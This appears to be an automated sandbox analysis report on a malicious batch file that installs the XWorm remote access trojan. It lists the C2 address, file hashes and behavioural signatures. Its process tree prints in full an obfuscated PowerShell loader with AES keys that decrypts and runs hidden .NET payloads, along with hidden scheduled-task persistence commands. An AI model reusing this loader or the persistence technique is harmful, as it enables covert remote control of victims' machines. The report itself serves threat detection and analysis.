Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2025, 03:59

General

  • Target

    VMenu3.121fix1.bat

  • Size

    527KB

  • MD5

    3d1653ee332959fc6ea17400cdb636bd

  • SHA1

    3a75f6b73477b63300bc1065caaa7c9af066b6b4

  • SHA256

    fdb0641302824a729dcdbf6235a60a7661ee14951f82cc486cf0a874e8c38e1e

  • SHA512

    6eaaf2c0cd2322dcb9fcd71d030afaabaf13b0ed881fafe8db569da5cb2e196147045105067b3d5dc9aa80d2c61d44d6f063b82c74f6954b5bb956e4597e0b06

  • SSDEEP

    6144:BLG0TmgMe4wGS6I4LjSAeEP3xI0r+/nBkJgrICpdZGz2LDpb5uZ8OaE2i88tmKb4:BCZgMe46AeSBHoBigr3ZnLjmsi4xq/G

Malware Config

Extracted

Family

xworm

C2

operates-rna.with.playit.plus:4377

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    XClient2.0.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 42 IoCs
  • Modifies registry class 21 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Modifies registry class
    PID:804
    • C:\Windows\system32\backgroundTaskHost.exe
      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
      2⤵
        PID:4228
      • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
        C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
        2⤵
          PID:1224
        • C:\Windows\system32\BackgroundTransferHost.exe
          "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
          2⤵
            PID:4328
          • C:\Windows\system32\BackgroundTransferHost.exe
            "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
            2⤵
              PID:3680
            • C:\Windows\system32\BackgroundTransferHost.exe
              "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
              2⤵
                PID:3816
              • C:\Windows\system32\DllHost.exe
                C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                2⤵
                  PID:772
                • C:\Windows\system32\BackgroundTransferHost.exe
                  "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                  2⤵
                    PID:3520
                  • C:\Windows\system32\backgroundTaskHost.exe
                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                    2⤵
                      PID:4960
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k RPCSS -p
                    1⤵
                      PID:908
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                      1⤵
                        PID:960
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                        1⤵
                          PID:756
                        • C:\Windows\System32\svchost.exe
                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                          1⤵
                            PID:1004
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                            1⤵
                              PID:924
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                              1⤵
                                PID:1116
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                1⤵
                                  PID:1136
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                  1⤵
                                    PID:1172
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                    1⤵
                                    • Drops file in System32 directory
                                    PID:1196
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                    1⤵
                                      PID:1268
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                      1⤵
                                        PID:1336
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                        1⤵
                                          PID:1344
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1436
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                            1⤵
                                              PID:1460
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                              1⤵
                                                PID:1588
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                1⤵
                                                  PID:1596
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                  1⤵
                                                    PID:1620
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                    1⤵
                                                      PID:1720
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                      1⤵
                                                        PID:1752
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                        1⤵
                                                          PID:1760
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                          1⤵
                                                            PID:1844
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                            1⤵
                                                              PID:1952
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                              1⤵
                                                                PID:1976
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                1⤵
                                                                  PID:1428
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                  1⤵
                                                                    PID:2064
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                    1⤵
                                                                      PID:2096
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                      1⤵
                                                                        PID:2132
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                        1⤵
                                                                          PID:2180
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                          1⤵
                                                                            PID:2324
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                            1⤵
                                                                              PID:2332
                                                                            • C:\Windows\System32\svchost.exe
                                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                              1⤵
                                                                                PID:2524
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                1⤵
                                                                                • Drops file in System32 directory
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:2560
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                1⤵
                                                                                  PID:2640
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                  1⤵
                                                                                    PID:2728
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                    1⤵
                                                                                      PID:2732
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                      1⤵
                                                                                        PID:2144
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                        1⤵
                                                                                          PID:3232
                                                                                        • C:\Windows\Explorer.EXE
                                                                                          C:\Windows\Explorer.EXE
                                                                                          1⤵
                                                                                          • Modifies registry class
                                                                                          • Suspicious use of UnmapMainImage
                                                                                          PID:3396
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VMenu3.121fix1.bat"
                                                                                            2⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:4664
                                                                                            • C:\Windows\system32\net.exe
                                                                                              net file
                                                                                              3⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4984
                                                                                              • C:\Windows\system32\net1.exe
                                                                                                C:\Windows\system32\net1 file
                                                                                                4⤵
                                                                                                  PID:4724
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FUnCUHbp7bZ3aDt7EaVZSvFYhobW2XMUVK66Zb99X4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7RSYmNKHEzHJb8J9Ope6aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FmbNL=New-Object System.IO.MemoryStream(,$param_var); $RglAC=New-Object System.IO.MemoryStream; $acWbi=New-Object System.IO.Compression.GZipStream($FmbNL, [IO.Compression.CompressionMode]::Decompress); $acWbi.CopyTo($RglAC); $acWbi.Dispose(); $FmbNL.Dispose(); $RglAC.Dispose(); $RglAC.ToArray();}function execute_function($param_var,$param2_var){ $IsgCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WIgyd=$IsgCr.EntryPoint; $WIgyd.Invoke($null, $param2_var);}$coheU = 'C:\Users\Admin\AppData\Local\Temp\VMenu3.121fix1.bat';$host.UI.RawUI.WindowTitle = $coheU;$MuzzS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($coheU).Split([Environment]::NewLine);foreach ($rWFCs in $MuzzS) { if ($rWFCs.StartsWith('AXBwvMvJcDRzRiGDBjAF')) { $FODgs=$rWFCs.Substring(20); break; }}$payloads_var=[string[]]$FODgs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                3⤵
                                                                                                  PID:3660
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                  3⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Modifies registry class
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:540
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_473_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_473.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                    4⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2836
                                                                                                  • C:\Windows\System32\WScript.exe
                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_473.vbs"
                                                                                                    4⤵
                                                                                                    • Checks computer location settings
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:1492
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_473.bat" "
                                                                                                      5⤵
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:3988
                                                                                                      • C:\Windows\system32\net.exe
                                                                                                        net file
                                                                                                        6⤵
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:2080
                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                          C:\Windows\system32\net1 file
                                                                                                          7⤵
                                                                                                            PID:3452
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FUnCUHbp7bZ3aDt7EaVZSvFYhobW2XMUVK66Zb99X4Q='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7RSYmNKHEzHJb8J9Ope6aQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $FmbNL=New-Object System.IO.MemoryStream(,$param_var); $RglAC=New-Object System.IO.MemoryStream; $acWbi=New-Object System.IO.Compression.GZipStream($FmbNL, [IO.Compression.CompressionMode]::Decompress); $acWbi.CopyTo($RglAC); $acWbi.Dispose(); $FmbNL.Dispose(); $RglAC.Dispose(); $RglAC.ToArray();}function execute_function($param_var,$param2_var){ $IsgCr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WIgyd=$IsgCr.EntryPoint; $WIgyd.Invoke($null, $param2_var);}$coheU = 'C:\Users\Admin\AppData\Roaming\Windows_Log_473.bat';$host.UI.RawUI.WindowTitle = $coheU;$MuzzS=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($coheU).Split([Environment]::NewLine);foreach ($rWFCs in $MuzzS) { if ($rWFCs.StartsWith('AXBwvMvJcDRzRiGDBjAF')) { $FODgs=$rWFCs.Substring(20); break; }}$payloads_var=[string[]]$FODgs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                          6⤵
                                                                                                            PID:2300
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                            6⤵
                                                                                                            • Blocklisted process makes network request
                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:3088
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat" "
                                                                                                              7⤵
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:4328
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C13MerJf76R1DFIOGLoO10xEJRdtouLHDV1tgJ/4w50='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('See+TWm/7iu6WCsg7gNt1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $snUzJ=New-Object System.IO.MemoryStream(,$param_var); $lTkza=New-Object System.IO.MemoryStream; $UKwbD=New-Object System.IO.Compression.GZipStream($snUzJ, [IO.Compression.CompressionMode]::Decompress); $UKwbD.CopyTo($lTkza); $UKwbD.Dispose(); $snUzJ.Dispose(); $lTkza.Dispose(); $lTkza.ToArray();}function execute_function($param_var,$param2_var){ $Oejaz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xiCYv=$Oejaz.EntryPoint; $xiCYv.Invoke($null, $param2_var);}$TAeoL = 'C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat';$host.UI.RawUI.WindowTitle = $TAeoL;$Cruwh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TAeoL).Split([Environment]::NewLine);foreach ($luPpZ in $Cruwh) { if ($luPpZ.StartsWith('afBvfWMFjSuStgRofcsT')) { $RHTbA=$luPpZ.Substring(20); break; }}$payloads_var=[string[]]$RHTbA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                8⤵
                                                                                                                  PID:3492
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                                                                                  8⤵
                                                                                                                  • Modifies registry class
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                  PID:636
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_81_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_81.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                                    9⤵
                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:4900
                                                                                                                  • C:\Windows\System32\WScript.exe
                                                                                                                    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_81.vbs"
                                                                                                                    9⤵
                                                                                                                    • Checks computer location settings
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:4076
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_81.bat" "
                                                                                                                      10⤵
                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                      PID:1700
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('C13MerJf76R1DFIOGLoO10xEJRdtouLHDV1tgJ/4w50='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('See+TWm/7iu6WCsg7gNt1g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $snUzJ=New-Object System.IO.MemoryStream(,$param_var); $lTkza=New-Object System.IO.MemoryStream; $UKwbD=New-Object System.IO.Compression.GZipStream($snUzJ, [IO.Compression.CompressionMode]::Decompress); $UKwbD.CopyTo($lTkza); $UKwbD.Dispose(); $snUzJ.Dispose(); $lTkza.Dispose(); $lTkza.ToArray();}function execute_function($param_var,$param2_var){ $Oejaz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xiCYv=$Oejaz.EntryPoint; $xiCYv.Invoke($null, $param2_var);}$TAeoL = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_81.bat';$host.UI.RawUI.WindowTitle = $TAeoL;$Cruwh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($TAeoL).Split([Environment]::NewLine);foreach ($luPpZ in $Cruwh) { if ($luPpZ.StartsWith('afBvfWMFjSuStgRofcsT')) { $RHTbA=$luPpZ.Substring(20); break; }}$payloads_var=[string[]]$RHTbA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                                        11⤵
                                                                                                                          PID:3188
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                                                                                          11⤵
                                                                                                                          • Blocklisted process makes network request
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                          PID:3684
                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 3684 -s 2928
                                                                                                                            12⤵
                                                                                                                              PID:3004
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                                        1⤵
                                                                                                          PID:3412
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                          1⤵
                                                                                                            PID:3568
                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                            1⤵
                                                                                                              PID:5076
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                              1⤵
                                                                                                                PID:740
                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                1⤵
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:2536
                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                1⤵
                                                                                                                  PID:5048
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                  1⤵
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:5108
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                  1⤵
                                                                                                                    PID:3000
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                                    1⤵
                                                                                                                      PID:2464
                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                      C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:1572
                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                        C:\Windows\system32\WerFault.exe -pss -s 412 -p 3684 -ip 3684
                                                                                                                        2⤵
                                                                                                                          PID:3424
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                                        1⤵
                                                                                                                          PID:5004

                                                                                                                        Network

                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                        Replay Monitor

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                                                                                                                        Downloads

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                          Filesize

                                                                                                                          3KB

                                                                                                                          MD5

                                                                                                                          661739d384d9dfd807a089721202900b

                                                                                                                          SHA1

                                                                                                                          5b2c5d6a7122b4ce849dc98e79a7713038feac55

                                                                                                                          SHA256

                                                                                                                          70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

                                                                                                                          SHA512

                                                                                                                          81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          005bc2ef5a9d890fb2297be6a36f01c2

                                                                                                                          SHA1

                                                                                                                          0c52adee1316c54b0bfdc510c0963196e7ebb430

                                                                                                                          SHA256

                                                                                                                          342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

                                                                                                                          SHA512

                                                                                                                          f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          dfd76671b8ea3c92750167702bc132e4

                                                                                                                          SHA1

                                                                                                                          0f91248a408f2e9a27e0a5a2d4a645345cf0a9ff

                                                                                                                          SHA256

                                                                                                                          5b748f4d3658eeae65c570ce47ea8dcb298ee727c2ad6335ead28bd39f6a0e1f

                                                                                                                          SHA512

                                                                                                                          d0e123940fdb163240d9ff53390d45efcbb058bc5c7bf01aeb5f4e08d2e4a18f3ef5d97e5d87f04a73bd058631704d523c78b75e5f52f0136314bb356124e3ea

                                                                                                                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                          Filesize

                                                                                                                          1KB

                                                                                                                          MD5

                                                                                                                          075fa5ba7105d9c3a17ffcb83d1ba281

                                                                                                                          SHA1

                                                                                                                          8323b1393fdd0f1a99d5ef3608054fd3df2d8b0d

                                                                                                                          SHA256

